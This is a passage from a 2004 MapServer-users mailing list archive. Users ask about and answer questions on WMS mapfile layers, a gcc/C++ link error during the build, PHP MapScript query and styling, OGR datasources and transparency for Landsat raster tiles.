"http://server.address/cgi-bin/mapserv.exe?map=c:\Program%20Files\Apache%20Group\Apache2\htdocs\fusionMtl\mtl.map&"

            

    METADATA

        wms_name "MTLPOLYGON"

        wms_title "Contours du port de Montreal"

        wms_abstract "Hangars and such"

        wms_srs "EPSG:32188"

        wms_server_version "1.1.0"

        wms_format "image/gif"

    END    



    DEBUG ON    

END



LAYER

    NAME LIMITES

    TYPE RASTER

    STATUS ON

    CONNECTIONTYPE WMS

    CONNECTION
"http://server.address/cgi-bin/mapserv.exe?map=c:\Program%20Files\Apache%20Group\Apache2\htdocs\fusionMtl\mtl.map&"

    

    METADATA

        wms_name "LIMITE"

        wms_title "Contours du port de Montreal"

        wms_abstract "Limite d'on sait pas trop quoi"

        wms_srs "EPSG:32188"

        wms_server_version "1.1.0"

        wms_format "image/gif"

    END    



    DEBUG ON    

END





END



Am I doing anything wrong?



Thanks in advance,



Mathieu



-- 
----------------------------------------
Mathieu Levesque,
Programmeur-Analyste,
Centre Interdisciplinaire de Développement
en Cartographie des Océans (CIDCO),
310, Allée des Ursulines,
Rimouski, QC,
G5L 3A1
Tél: (418) 723-1986, ext. 1792
Fax: (418) 724-1842
Courriel: mathieu.levesque at cidco.ca






From teoman872 at yahoo.com  Fri Jan 30 09:55:33 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Fri, 30 Jan 2004 09:55:33 -0800 (PST)
Subject: [Mapserver-users] Mapserver build Error!!!
In-Reply-To: 
Message-ID: <20040130175533.2999.qmail@web20721.mail.yahoo.com>

--0-192849566-1075485333=:1637
Content-Type: text/plain; charset=us-ascii

hi, 
I am using MapServer 4.0.1 and GDAL 1.1.9...I have tried to install it again after installing GDAL again..but still I am getting this error:
gcc -c -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H
-DUSE_WMS_SVR -DUSE_WMS_LYR     -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG
 -DUSE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/inc
lude  -I/usr/src/projects/mapservCA/jpeg-6b   -I./regex-0.12  -I/usr/local/inclu
de -I/usr/local/include      shp2img.c -o shp2img.o
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR -DUSE_WMS_LYR     -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
USE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/includ
e  -I/usr/src/projects/mapservCA/jpeg-6b   -I./regex-0.12  -I/usr/local/include
-I/usr/local/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -L/usr/src/
projects/mapservCA/jpeg-6b -ljpeg -lfreetype -L/lib -lpng -L/lib -lz    -ltiff -
L/usr/src/projects/mapservCA/jpeg-6b -ljpeg -lfreetype -L/lib -lpng -L/lib -lz
 -L/usr/local/lib -lproj -L/usr/src/projects/mapservCA/jpeg-6b -ljpeg  -L/usr/lo
cal/lib -lgdal.1.1     -L/usr/lib -lcurl -lz -lssl -lcrypto -lz    -lm   -o shp2
img
./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
ew(unsigned)'
./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
new(unsigned)'
./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
delete(void*)'
./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
delete(void*)'
Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
 
PS:in Makefile under MapServer, GD_STATIC and GDAL_STATIC variables are empty...I checked at the bottom of the Makefile and seems like those variables are used with shp2img.... So, I am not sure if I need to write sth there....
 
thanks alot in advance...
--teoman


Pericles Nacionales  wrote:
Are you compiling MapServer 4.0.1 or the nightly? Did you compile the
GDAL 1.1.9 or a cvs version? If you are compiling MapServer 4.0.1, use
GDAL 1.1.9 and it should work. The problem with using the latest GDAL cvs
is that Frank has made new changes that make it not work with MapServer
4.0.1 without updating some of the MapServer source files. I think
mapdrawgdal.c has changed, among other things. If you are compiling
MapServer and GDAL from cvs then you might want to update them.

I don't know what you have, I'm just giving you potential answers.

-Perry


On Thu, 29 Jan 2004, teoman teoman wrote:

> Hi everbody,
>
> I am trying to build the mapserver latest version, but I am getting following error:
>
> $ make
> gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
> SE_WMS_SVR -DUSE_WFS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
> USE_GD_WBMP -DUSE_OGR -DUSE_GDAL -I/usr/local/include -I/usr/local/includ
> e -I/usr/src/projects/mapservCA/regex-0.12 -I/usr/local/include -I/usr/loca
> l/include shp2img.o -L. -lmap -L/usr/local/lib -lgd -ljpeg -lfreetype -L/l
> ib -lpng -L/lib -lz -ltiff -ljpeg -lfreetype -L/lib -lpng -L/lib -lz -L/usr
> /local/lib -lproj -ljpeg -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lgdal.1.
> 1 -lm -o shp2img
> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
> ./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
> ew(unsigned)'
> ./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
> ./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
> new(unsigned)'
> ./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> ./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
> Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
> Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
> Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
> collect2: ld returned 1 exit status
> make: *** [shp2img] Error 1
>
> can anybody help please?
> thanks alot in advance..
> --teoman
>
>
> ---------------------------------
> Do you Yahoo!?
> Yahoo! SiteBuilder - Free web site building tool. Try it!

---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-192849566-1075485333=:1637
Content-Type: text/html; charset=us-ascii


hi, 


I am using MapServer 4.0.1 and GDAL 1.1.9...I have tried to install it again after installing GDAL again..but still I am getting this error:


gcc -c -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H
-DUSE_WMS_SVR -DUSE_WMS_LYR     -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG
 -DUSE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/inc
lude  -I/usr/src/projects/mapservCA/jpeg-6b   -I./regex-0.12  -I/usr/local/inclu
de -I/usr/local/include      shp2img.c -o shp2img.o
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR -DUSE_WMS_LYR     -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
USE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/includ
e  -I/usr/src/projects/mapservCA/jpeg-6b   -I./regex-0.12  -I/usr/local/include
-I/usr/local/include      shp2img.o 
 -L. -lmap -L/usr/local/lib -lgd -L/usr/src/
projects/mapservCA/jpeg-6b -ljpeg -lfreetype -L/lib -lpng -L/lib -lz    -ltiff -
L/usr/src/projects/mapservCA/jpeg-6b -ljpeg -lfreetype -L/lib -lpng -L/lib -lz
 -L/usr/local/lib -lproj -L/usr/src/projects/mapservCA/jpeg-6b -ljpeg  -L/usr/lo
cal/lib -lgdal.1.1     -L/usr/lib -lcurl -lz -lssl -lcrypto -lz    -lm   -o shp2
img
./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
ew(unsigned)'
./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
elete(void*)'
./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to
 `___gxx_per
sonality_sj0'
./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
rsonality_sj0'
./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
new(unsigned)'
./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
delete(void*)'
./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
delete(void*)'
Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1


 


PS:in Makefile under MapServer, GD_STATIC and GDAL_STATIC variables are empty...I checked at the bottom of the Makefile and seems like those variables are used with shp2img.... So, I am not sure if I need to write sth there....


 


thanks alot in advance...


--teoman




Pericles Nacionales <nacional at cbs.umn.edu> wrote:


Are you compiling MapServer 4.0.1 or the nightly? Did you compile the
GDAL 1.1.9 or a cvs version? If you are compiling MapServer 4.0.1, use
GDAL 1.1.9 and it should work. The problem with using the latest GDAL cvs
is that Frank has made new changes that make it not work with MapServer
4.0.1 without updating some of the MapServer source files. I think
mapdrawgdal.c has changed, among other things. If you are compiling
MapServer and GDAL from cvs then you might want to update them.

I don't know what you have, I'm just giving you potential answers.

-Perry


On Thu, 29 Jan 2004, teoman teoman wrote:

> Hi everbody,
>
> I am trying to build the mapserver latest version, but I am getting following error:
>
> $ make
> gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
>
 SE_WMS_SVR -DUSE_WFS_SVR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
> USE_GD_WBMP -DUSE_OGR -DUSE_GDAL -I/usr/local/include -I/usr/local/includ
> e -I/usr/src/projects/mapservCA/regex-0.12 -I/usr/local/include -I/usr/loca
> l/include shp2img.o -L. -lmap -L/usr/local/lib -lgd -ljpeg -lfreetype -L/l
> ib -lpng -L/lib -lz -ltiff -ljpeg -lfreetype -L/lib -lpng -L/lib -lz -L/usr
> /local/lib -lproj -ljpeg -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lgdal.1.
> 1 -lm -o shp2img
> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
> ./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
> ew(unsigned)'
> ./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
>
 ./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
> new(unsigned)'
> ./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> ./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
> Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
> Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
> Info: resolving _asStylePen by linking to __imp__asStylePen
 (auto-import)
> collect2: ld returned 1 exit status
> make: *** [shp2img] Error 1
>
> can anybody help please?
> thanks alot in advance..
> --teoman
>
>
> ---------------------------------
> Do you Yahoo!?
> Yahoo! SiteBuilder - Free web site building tool. Try it!

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-192849566-1075485333=:1637--


From nhv at cape.com  Fri Jan 30 11:07:50 2004
From: nhv at cape.com (Norman Vine)
Date: Fri, 30 Jan 2004 14:07:50 -0500
Subject: [Mapserver-users] Mapserver build Error!!!
In-Reply-To: <20040130175533.2999.qmail@web20721.mail.yahoo.com>
Message-ID: 

teoman teoman writes:
, 
> I am using MapServer 4.0.1 and GDAL 1.1.9...I have tried to install it again after installing GDAL again
> ..but still I am getting this error:

> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_personality_sj0'

This is the old trying to link in a module with C++ components with gcc issue

I thought that this had been fixed :-(

Anyway either change LD in your makefile to c++
i.e. LD=  c++

or by adding  -lsdtc++ to the link libraries, easiest by adding to XTRALIBS
i.e. XTRALIBS=  -lm -lstdc++

HTH

Norman



From ARyan at co.linn.or.us  Fri Jan 30 11:02:48 2004
From: ARyan at co.linn.or.us (Ryan, Adam)
Date: Fri, 30 Jan 2004 11:02:48 -0800
Subject: [Mapserver-users] queryByIndex method
Message-ID: <614FCE5F14A6D41180C200010240D6A228BEDE@LINNMS>

Can anyone offer a PHP example using the queryByIndex method?  Could this be
used to offer the user query methods: "new set","add to set","select from
set","xor set"?  Could these methods be used for both spatial and attribute
queries?

Thanks, 

Adam Ryan
GIS Analyst
Linn County GIS Department
County Courthouse / Room 25
300 SW Fourth Ave.
Albany, OR 97321
541.812.8760
aryan at co.linn.or.us
 


From teoman872 at yahoo.com  Fri Jan 30 11:14:00 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Fri, 30 Jan 2004 11:14:00 -0800 (PST)
Subject: Thank you so much..It works now..RE: [Mapserver-users] Mapserver build Error!!!
In-Reply-To: 
Message-ID: <20040130191400.21354.qmail@web20725.mail.yahoo.com>

--0-1984330422-1075490040=:20543
Content-Type: text/plain; charset=us-ascii

Hi Norman,
 
Thank you so much..Now it works...
--teoman

Norman Vine  wrote:
teoman teoman writes:
, 
> I am using MapServer 4.0.1 and GDAL 1.1.9...I have tried to install it again after installing GDAL again
> ..but still I am getting this error:

> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_personality_sj0'

This is the old trying to link in a module with C++ components with gcc issue

I thought that this had been fixed :-(

Anyway either change LD in your makefile to c++
i.e. LD= c++

or by adding -lsdtc++ to the link libraries, easiest by adding to XTRALIBS
i.e. XTRALIBS= -lm -lstdc++

HTH

Norman


---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-1984330422-1075490040=:20543
Content-Type: text/html; charset=us-ascii


Hi Norman,


 


Thank you so much..Now it works...


--teoman

Norman Vine <nhv at cape.com> wrote:


teoman teoman writes:
, 
> I am using MapServer 4.0.1 and GDAL 1.1.9...I have tried to install it again after installing GDAL again
> ..but still I am getting this error:

> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_personality_sj0'

This is the old trying to link in a module with C++ components with gcc issue

I thought that this had been fixed :-(

Anyway either change LD in your makefile to c++
i.e. LD= c++

or by adding -lsdtc++ to the link libraries, easiest by adding to XTRALIBS
i.e. XTRALIBS= -lm -lstdc++

HTH

Norman

Do you Yahoo!?

Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-1984330422-1075490040=:20543--


From wim.blanken at planet.nl  Fri Jan 30 11:42:02 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Fri, 30 Jan 2004 20:42:02 +0100
Subject: [Mapserver-users] Re: jBox - setcursor() etc..
References: <001301c3e49e$51067810$11395edb@steve>
 <003701c3e4b1$2ce49cb0$6400a8c0@BLANKEN>
 <001801c3e4be$091b2940$07865fdb@steve>
 <009f01c3e4bf$45a14830$6400a8c0@BLANKEN> <002c01c3e6c7$8098be00$433f5edb@steve>
Message-ID: <004401c3e769$24bbb6d0$6400a8c0@BLANKEN>

Hello Steve,

I assume you are using a Microsoft VM. I have also problems with the
visualisation of the the cursor type on this VM. On the SUN VM it works OK.
I'll have a look at the specific java code to see if anything can be done
about it......

Regards,

Wim

----- Original Message -----
From: "Steve McCrone" 
To: "Wim Blanken (PI)" 
Sent: Friday, January 30, 2004 1:25 AM
Subject: jBox - setcursor() etc..


> Hi Wim,
>
> I've posted a question about setcursor(). I have no idea why the cursor
does
> not change to a hand etc. It does not casue an error. Just wondering if
you
> got this to work.  By the way, I did get my setimage(url) (for zoom-in) to
> work but it takes an awful lot of code, since I must build the url with
alll
> of the text, plus the mapext. Now, I also believe that I must build my own
> url for zoom-out and pan :-(
>
> Do you use the setimage() or just submit the page?
>
> Thanks,
>
> Steve
>



From steve.lime at dnr.state.mn.us  Fri Jan 30 12:49:38 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 30 Jan 2004 14:49:38 -0600
Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type
Message-ID: 

It's be awhile since I've looked at that source code but my guess is
that outline colors are ignored by the line rendering code. What sort of
an effect are you hoping to achieve?

Steve

>>>  1/30/2004 7:52:01 AM >>>

Hi List,

i want to set the outlinecolor within the StyleObj of a layer with the
type MS_LAYER_LINE. I use the following code but the outlinecolor do
not
appear:

$Layer -> set("type", MS_LAYER_LINE );
$poClass = ms_newClassObj($Layer);
$styleObj = ms_newStyleObj($poClass);
$styleObj -> color -> setRGB ( 0, 0, 255 );
$styleObj -> outlinecolor -> setRGB ( 0 , 0, 50);
$styleObj -> set ("symbolname", "kreis");
$styleObj -> set ("size", 8);
$poClass -> set("name", "Germany");

The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON.

Do i miss something?
Thanks in advance.
Nicol
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From mapserver at geochem.de  Fri Jan 30 13:49:00 2004
From: mapserver at geochem.de (Nicol Hermann)
Date: Fri, 30 Jan 2004 22:49:00 +0100
Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type
In-Reply-To: 
References: 
Message-ID: <1075499057.1258.11.camel@katrin>

Hi Steve,

i hoping to achieve the same effect like it appears with point and
polygon layers. I would like to see a line which is enclosed which the
two lines of the outline color. The 'size' parameter only affects the
thickness of the  line.

	|| Line||
	^	^
	|Line with the Outlinecolor

Is there's a special cause that the outline color is ignored by the
line  rendering code?

Thanks
Nicol


Am Fr, den 30.01.2004 schrieb Steve Lime um 21:49:
> It's be awhile since I've looked at that source code but my guess is
> that outline colors are ignored by the line rendering code. What sort of
> an effect are you hoping to achieve?
> 
> Steve
> 
> >>>  1/30/2004 7:52:01 AM >>>
> 
> Hi List,
> 
> i want to set the outlinecolor within the StyleObj of a layer with the
> type MS_LAYER_LINE. I use the following code but the outlinecolor do
> not
> appear:
> 
> $Layer -> set("type", MS_LAYER_LINE );
> $poClass = ms_newClassObj($Layer);
> $styleObj = ms_newStyleObj($poClass);
> $styleObj -> color -> setRGB ( 0, 0, 255 );
> $styleObj -> outlinecolor -> setRGB ( 0 , 0, 50);
> $styleObj -> set ("symbolname", "kreis");
> $styleObj -> set ("size", 8);
> $poClass -> set("name", "Germany");
> 
> The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON.
> 
> Do i miss something?
> Thanks in advance.
> Nicol
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
Nicol Hermann 



From jvanulde at nrcan.gc.ca  Fri Jan 30 13:55:03 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Fri, 30 Jan 2004 16:55:03 -0500
Subject: [Mapserver-users] Query OGR Datasource?
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895AD@s5-van1-r1.ess.nrcan.gc.ca>

Hi all,

I gather that it is possible to query an OGR datasource just like a
shapefile.  What about a OGRVRTDataSource?  Has anyone done this? I can't
find an example and have tried it the same way as a I would for a shapefile.
Have to admit, I am not sure how that would work.... 

As always, thank you in advance.

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


From bwilkerson at depauw.edu  Fri Jan 30 14:05:52 2004
From: bwilkerson at depauw.edu (M. Beth Wilkerson)
Date: Fri, 30 Jan 2004 17:05:52 -0500
Subject: [Mapserver-users] Images in the Template File
Message-ID: 

Hello!

I'm relatively new to MapServer and am still learning how to use it...

I'm currently working on adding JavaScript-based panning controls as shown
in the online Tutorial.  Although I've got the actual controls working, the
eight arrow graphic images (I've tried GIF, JPEG and PNG file formats) do
not show up.  I just get "missing picture" icons around the map.  If I open
the template file in a browser window without going through MapServer, the
arrow graphics display fine.  Does anyone know what the problem might be and
a possible solution?

Thanks in advance,
Beth

-- 
M. Beth Wilkerson
CGMA Project Programmer
GIS Advocate
DePauw University




From stephen.clark at focus.ca  Fri Jan 30 15:15:30 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 30 Jan 2004 15:15:30 -0800
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency
References:  <1075499057.1258.11.camel@katrin>
Message-ID: <01b501c3e786$f58abcd0$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_01B2_01C3E743.E63B0AC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All,

I have some landsat 7 data that I want to tile but the scenes overlap.

Can I use some sort of command that can be added to the "gdaltindex" =
command to add a transparency value to these scenes so that the overlap =
areas can show through.

thanks

Stephen

------=_NextPart_000_01B2_01C3E743.E63B0AC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









Hi All,


 




I have some landsat 7 data that I want to =
tile but=20
the scenes overlap.


Can I use some sort of command that =
can be added=20
to the "gdaltindex" command to add a transparency value to these scenes =
so that=20
the overlap areas can show through.


thanks


Stephen


------=_NextPart_000_01B2_01C3E743.E63B0AC0--



From warmerdam at pobox.com  Fri Jan 30 14:24:58 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 30 Jan 2004 17:24:58 -0500
Subject: [Mapserver-users] Query OGR Datasource?
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895AD@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B895AD@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <401AD9BA.3080201@pobox.com>

Van Ulden, Joost wrote:
> Hi all,
> 
> I gather that it is possible to query an OGR datasource just like a
> shapefile.  What about a OGRVRTDataSource?  Has anyone done this? I can't
> find an example and have tried it the same way as a I would for a shapefile.
> Have to admit, I am not sure how that would work.... 
> 
> As always, thank you in advance.

Joost,


OGRVRTDataSource's should be queriable in the same fashion as any other
OGR layer.  Unfortunately I don't have an example handy.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From mhaines94108 at hotmail.com  Fri Jan 30 14:25:21 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Fri, 30 Jan 2004 17:25:21 -0500
Subject: [Mapserver-users] Announcing my new mapping application
References:  <1075499057.1258.11.camel@katrin>
Message-ID: 

Many thanks to all who helped me over the last few months.  I just launched
my new mapping application.  Although my site is a subscription site, the
maps are free.  Mapserver users will instantly recognize the Itasca demo
application repurposed for New York City base maps.

http://www.nycPropertyResearch.com

Matthew Haines


From warmerdam at pobox.com  Fri Jan 30 14:31:15 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Fri, 30 Jan 2004 17:31:15 -0500
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile
 : overlap + transparency
In-Reply-To: <01b501c3e786$f58abcd0$6c000a0a@sclark>
References:  <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark>
Message-ID: <401ADB33.7060004@pobox.com>

Stephen Clark wrote:
> Hi All,
>  
> 
> I have some landsat 7 data that I want to tile but the scenes overlap.
> 
> Can I use some sort of command that can be added to the "gdaltindex" 
> command to add a transparency value to these scenes so that the overlap 
> areas can show through.

Stephen,

Do all the images have the same background value?  If so, use it as the
offsite value for the whole layer and it will be used with all the images.
The other alternative is to store the tiles in a format for which GDAL
recognises "nodata" values, but this isn't very convenient to arrange.
There is no way to include nodata values in the raster tile index.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From stephen.clark at focus.ca  Fri Jan 30 15:51:48 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 30 Jan 2004 15:51:48 -0800
Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency
References:  <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com>
Message-ID: <01e701c3e78c$06ebcbe0$6c000a0a@sclark>

Frank,

My landsat data is from the Geogratis web site :

http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/

Specifically these three scenes as example:

http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/047021/
http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/048021/
http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/049021/

I compressed the files to ECW and produced this layer:

LAYER
  NAME landsat_048_021_rgb
  DATA "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw"
  TYPE RASTER
  STATUS ON
  TRANSPARENCY 60

  # turn off the black background in the image files
   OFFSITE 0 0 0
END


>Do all the images have the same background value?   YES -- they do.
There is a residual amount of black fuzziness around the scenes after using
the above OFFSITE command.

Here is a LAYER file for the tiled index of Landsat scenes:

LAYER
  NAME landsat_tile
  TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp"
  TILEITEM "location"
  TYPE RASTER
  STATUS ON
  TRANSPARENCY 60

  # turn off the black background in the image files
  OFFSITE 0 0 0

  METADATA
    WMS_TITLE "Lansdat 7 Imagery "
    WMS_ABSTRACT "N/A"
    WMS_SRS "EPSG:26910"
  END

END

But this tiled layer does not have any transparency.  How would I fix this?

thanks
Stephen

----- Original Message ----- 
From: "Frank Warmerdam" 
To: "Stephen Clark" 
Cc: 
Sent: Friday, January 30, 2004 2:31 PM
Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to
tile : overlap + transparency


> Stephen Clark wrote:
> > Hi All,
> >
> >
> > I have some landsat 7 data that I want to tile but the scenes overlap.
> >
> > Can I use some sort of command that can be added to the "gdaltindex"
> > command to add a transparency value to these scenes so that the overlap
> > areas can show through.
>
> Stephen,
>
> Do all the images have the same background value?  If so, use it as the
> offsite value for the whole layer and it will be used with all the images.
> The other alternative is to store the tiles in a format for which GDAL
